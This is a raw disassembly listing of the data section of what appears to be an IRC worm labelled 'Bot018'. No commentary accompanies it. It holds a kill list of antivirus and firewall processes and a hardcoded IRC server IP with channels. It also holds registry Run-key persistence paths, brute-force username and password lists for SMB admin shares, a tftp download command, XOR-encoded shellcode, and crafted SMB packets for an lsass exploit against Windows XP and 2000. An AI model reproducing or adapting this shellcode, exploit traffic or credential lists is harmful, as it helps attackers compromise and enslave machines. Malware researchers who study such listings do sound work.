		dd offset aWinlogin_exe	; "WINLOGIN.EXE"
		dd offset aWinmain_exe	; "WINMAIN.EXE"
		dd offset aWinnet_exe	; "WINNET.EXE"
		dd offset aWinppr32_exe	; "WINPPR32.EXE"
		dd offset aWinrecon_exe	; "WINRECON.EXE"
		dd offset aWinservn_exe	; "WINSERVN.EXE"
		dd offset aWinssk32_exe	; "WINSSK32.EXE"
		dd offset aWinstart_exe	; "WINSTART.EXE"
		dd offset aWinstart001_ex ; "WINSTART001.EXE"
		dd offset aWintsk32_exe	; "WINTSK32.EXE"
		dd offset aWinupdate_exe ; "WINUPDATE.EXE"
		dd offset aWkufind_exe	; "WKUFIND.EXE"
		dd offset aWnad_exe	; "WNAD.EXE"
		dd offset aWnt_exe	; "WNT.EXE"
		dd offset aWradmin_exe	; "WRADMIN.EXE"
		dd offset aWrctrl_exe	; "WRCTRL.EXE"
		dd offset aWsbgate_exe	; "WSBGATE.EXE"
		dd offset aWupdater_exe	; "WUPDATER.EXE"
		dd offset aWupdt_exe	; "WUPDT.EXE"
		dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE"
		dd offset aXpf202en_exe	; "XPF202EN.EXE"
		dd offset aZapro_exe	; "ZAPRO.EXE"
		dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE"
		dd offset aZatutor_exe	; "ZATUTOR.EXE"
		dd offset aZonalm2601_exe ; "ZONALM2601.EXE"
		dd offset aZonealarm_exe ; "ZONEALARM.EXE"
		dd offset a_avp32_exe	; "_AVP32.EXE"
		dd offset a_avpcc_exe	; "_AVPCC.EXE"
		dd offset a_avpm_exe	; "_AVPM.EXE"
		dd offset aHijackthis_exe ; "HIJACKTHIS.EXE"
		dd offset aFAgobot_exe	; "F-AGOBOT.EXE"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
		dd offset aMsconfig_exe	; "MsConfiG.exe"
		dd offset aWuanclt_exe	; "WUANCLT.EXE"
		dd offset aWuacrlt_exe	; "WUACRLT.EXE"
		dd offset aWruaclt_exe	; "WRUACLT.EXE"
		dd offset aWinssv_exe	; "winssv.exe"
		dd offset aScguard_exe	; "scguard.exe"
		dd offset aWuamgrd_exe	; "wuamgrd.exe"
		dd offset aBling_exe	; "bling.exe"
		dd offset aWinmp_exe	; "winmp.exe"
		dd offset aHass_exe	; "hass.exe"
dword_42AE38	dd 1BBh							; sub_40D1EF+4C2r
dword_42AE3C	dd 1BBh		dword_42AE40	dd 4DBh		dword_42AE44	dd 45h							; sub_4078FA+3D89r
dword_42AE48	dd 4E20h						; sub_4078FA:loc_40B783r
dword_42AE4C	dd 201h		dword_42AE50	dd 1		dword_42AE54	dd 1		dword_42AE58	dd 1							; sub_40D1EF:loc_40D522r
byte_42AE5C	db 2Eh			; DATA XREF: sub_401EE9:loc_401EF5r
					; sub_4078FA+7A7r ...
		align 10h
dword_42AE60	dd 6							; sub_40E495+51r ...
dword_42AE64	dd 1							; sub_4078FA+260r ...
dword_42AE68	dd 1							; sub_4078FA+25Ar
aBot018		db 'Bot018',0           ; DATA XREF: sub_4078FA+2BD7o
					; sub_4078FA:loc_40C01Eo ...
		align 4
aBot0_018	db '[Bot 0.018]',0      ; DATA XREF: sub_4078FA:loc_40C39Do
aN3m3s1s	db 'n3m3s1s',0          ; DATA XREF: sub_4078FA+4430o
					; sub_4078FA+573Eo ...
a217_170_244_2	db '217.170.244.2',0    ; DATA XREF: sub_40D1EF+3FAo
					; sub_40D1EF+4B3o
		align 4
aHell		db '#hell',0            ; DATA XREF: sub_40D1EF+416o
					; sub_40D1EF+4C9o
		align 10h
aTroopers	db 'troopers',0         ; DATA XREF: sub_40D1EF+42Do
					; sub_40D1EF+4DBo
		align 4
byte_42AEAC	db 38h			; DATA XREF: sub_40D1EF:loc_40D6E0r
					; sub_40D1EF+4FFo
		db 32h,	2Eh, 31h
		dd 362E3431h, 35322E34h, 31h
dword_42AEBC	dd 6C656823h, 6ChaTroopers_0	db 'troopers',0         ; DATA XREF: sub_40D1EF+527o
		align 10h
byte_42AED0	db 6Dh			; DATA XREF: sub_401141+63o
					; sub_401141+18Eo ...
		db 73h,	6Dh, 6Eh
		dd 33747261h, 78652E32h, 65h, 2E79656Bh, 747874h
aNetworkHostSer	db 'Network Host Service',0 ; DATA XREF: sub_401E73+Bo
		align 10h
aSoul		db '[SOUL]',0           ; DATA XREF: sub_40E495+12o
		align 4
aSysconfig_dat	db 'sysconfig.dat',0
		align 4
aIx		db '+ix',0              ; DATA XREF: sub_4078FA+58BDo
aMurders	db '#murders',0         ; DATA XREF: sub_4078FA+3BD2o
					; sub_4078FA+55B8o
		align 4
aHell_1		db '#hell',0
		align 10h
aSniffing	db '#sniffing',0
		align 4
off_42AF3C	dd offset a@celestial_org ; DATA XREF: sub_4078FA+57BCr
					; "*@celestial.org"
off_42AF40	dd offset aMircV6_12Khale ; DATA XREF: sub_4078FA+929r
					; "mIRC	v6.12 Khaled Mardam-Bey"
dword_42AF44	dd 2E373132h, 2E303731h, 2E343432h, 32hdword_42AF54	dd 15h		aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .data:off_42A354o
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_40E9C5+23o
					; sub_40ECEC+23o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_40E9C5+D5o
					; sub_40ECEC+D5o
		align 10h
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 10h
dword_42B050	dd 41FA76h						; .text:0041285Do ...
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_0	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell_0	; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_42B280	dd 10h							; sub_4078FA+80Ar ...
		align 8
dword_42B288	dd 736E6F63h			dd 74h,	0
dword_42B294	dd 1		off_42B298	dd offset sub_40E495	; DATA XREF: sub_40E7B0+6Cr
aLetter		db 'letter',0
		align 8
		dd 2, 40E4F3h, 706D6F63h, 2 dup(0)
		dd 3, 40E540h, 6E756F63h, 797274h, 0
		dd 4, 40E5AFh, 736Fh, 2	dup(0)
		dd 5, 40E624h
dword_42B2EC	dd 1D4C0h	off_42B2F0	dd offset aIpc		; DATA XREF: sub_40E9C5:loc_40EB7Br
					; sub_40E9C5+1C4r ...
					; "IPC$"
dword_42B2F4	dd 0				dd offset aAdmin_0	; "ADMIN$"
		align 10h
		dd offset aC_3		; "C$"
		dd offset aC_2		; "C:\\"
		dd offset aD_3		; "D$"
		dd offset aD_2		; "D:\\"
; ---------------------------------------------------------------------------


loc_42B310:				; DATA XREF: sub_40F689+C0o
		jmp	short loc_42B314
; ---------------------------------------------------------------------------


loc_42B312:				; CODE XREF: .data:loc_42B314p
		jmp	short loc_42B319
; ---------------------------------------------------------------------------


loc_42B314:				; CODE XREF: .data:loc_42B310j
		call	loc_42B312


loc_42B319:				; CODE XREF: .data:loc_42B312j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_42B31E	dw 0FFFFh		; DATA XREF: sub_40F689:loc_40F73Cw
		db 80h,	73h, 0Eh
byte_42B323	db 0FFh			; DATA XREF: sub_40F689+BAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_42B328:				; DATA XREF: sub_40F689+9Co
		jmp	short loc_42B32C
; ---------------------------------------------------------------------------


loc_42B32A:				; CODE XREF: .data:loc_42B32Cp
		jmp	short loc_42B331
; ---------------------------------------------------------------------------


loc_42B32C:				; CODE XREF: .data:loc_42B328j
		call	loc_42B32A


loc_42B331:				; CODE XREF: .data:loc_42B32Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_42B335	db 0FFh			; DATA XREF: sub_40F689+A1w
		dw 7380h
		db 0Ch
byte_42B339	db 0FFh			; DATA XREF: sub_40F689+A7w
		dw 0E243h
		dd 0F9h
dword_42B340	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40F576+72o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_42B3A4	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40F576+96o
aJ_1		db 'j',0
		db 0E8h
dword_42B3BD	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_42B3C4
		retn
; ---------------------------------------------------------------------------
byte_42B3C4	db 0E8h			; CODE XREF: .data:0042B3C1j
dword_42B3C5	dd 1		byte_42B3C9	db 0, 6Ah, 0		; DATA XREF: sub_40F576+ECo
		dd 7E8h
		db 0, 0Fh, 84h
dword_42B3D3	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 8


loc_42B408:				; DATA XREF: sub_411235:loc_41134Eo
		mov	edi, ecx
		xor	al, al
		inc	al
		repne scasb
		jmp	edi
; ---------------------------------------------------------------------------
		align 8
a?xmlVersion1_0	db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_411235+18Bo
		db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah
		db '<g:sql>',0Dh,0Ah
		db 'Select "DAV:displayname" from scope()',0Dh,0Ah
		db '</g:sql>',0Dh,0Ah
		db '</g:searchrequest>',0Dh,0Ah,0
; ---------------------------------------------------------------------------
		jmp	short loc_42B4B2

; =============== S U B	R O U T	I N E =======================================



sub_42B4A2	proc far		; CODE XREF: sub_42B4A2:loc_42B4B2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_42B4AA:				; CODE XREF: sub_42B4A2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_42B4AA
		jmp	short loc_42B4B7
; ---------------------------------------------------------------------------


loc_42B4B2:				; CODE XREF: .data:0042B4A0j
		call	near ptr sub_42B4A2


loc_42B4B7:				; CODE XREF: sub_42B4A2+Ej
		jo	short loc_42B51B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_42B539
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_42B51B:				; CODE XREF: sub_42B4A2:loc_42B4B7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_42B539:				; CODE XREF: sub_42B4A2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_42B4A2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_42B5E0:				; DATA XREF: sub_411B71+112o
					; sub_411B71+1D9o
		jmp	short loc_42B5F2

; =============== S U B	R O U T	I N E =======================================



sub_42B5E2	proc near		; CODE XREF: sub_42B5E2:loc_42B5F2p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_42B5EA:				; CODE XREF: sub_42B5E2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42B5EA
		jmp	short loc_42B5F7
; ---------------------------------------------------------------------------


loc_42B5F2:				; CODE XREF: .data:loc_42B5E0j
		call	sub_42B5E2


loc_42B5F7:				; CODE XREF: sub_42B5E2+Ej
		jo	short near ptr dword_42B570+1Eh
		cwde
		cdq
		cdq
		retn
sub_42B5E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_42B690	dw 4B9Dh		; DATA XREF: sub_411B71+E5w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_42B778	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .text:00411FEFo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_42B808	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:0041201Bo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 2 dup(0)
dword_42B8B8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00412043o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_42B998	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411B71+53o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_4:					; DATA XREF: sub_411B71+90o
		unicode	0, <C$>,0
a?????		db '?????',0
		align 10h
dword_42BA00	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411B71+28Bo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_42BA70	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411B71+2B2o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_42BB18	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411B71+383o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_42BB98	dd offset loc_401495	; DATA XREF: sub_411B71+3A6o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_42BC30	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411B71+2E2o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_42BCA0	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411B71+307o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_42BD18	dd 0				dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_42BDA0	dw 0AD9Dh		; DATA XREF: sub_411A2E+2Ar
					; sub_411B71+CCr
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_42BDE0	dd 1004600h						; sub_411B71+223r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
; ---------------------------------------------------------------------------


loc_42BE98:				; DATA XREF: .text:00412293o
					; .text:00412311o
		jmp	short loc_42BEAA

; =============== S U B	R O U T	I N E =======================================



sub_42BE9A	proc near		; CODE XREF: sub_42BE9A:loc_42BEAAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_42BEA2:				; CODE XREF: sub_42BE9A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42BEA2
		jmp	short loc_42BEAF
; ---------------------------------------------------------------------------


loc_42BEAA:				; CODE XREF: .data:loc_42BE98j
		call	sub_42BE9A


loc_42BEAF:				; CODE XREF: sub_42BE9A+Ej
		jo	short near ptr dword_42BE1C+2Ah
		cwde
		cdq
		cdq
		retn
sub_42BE9A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_42BF48	dw 4B9Dh		; DATA XREF: .text:00412274w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
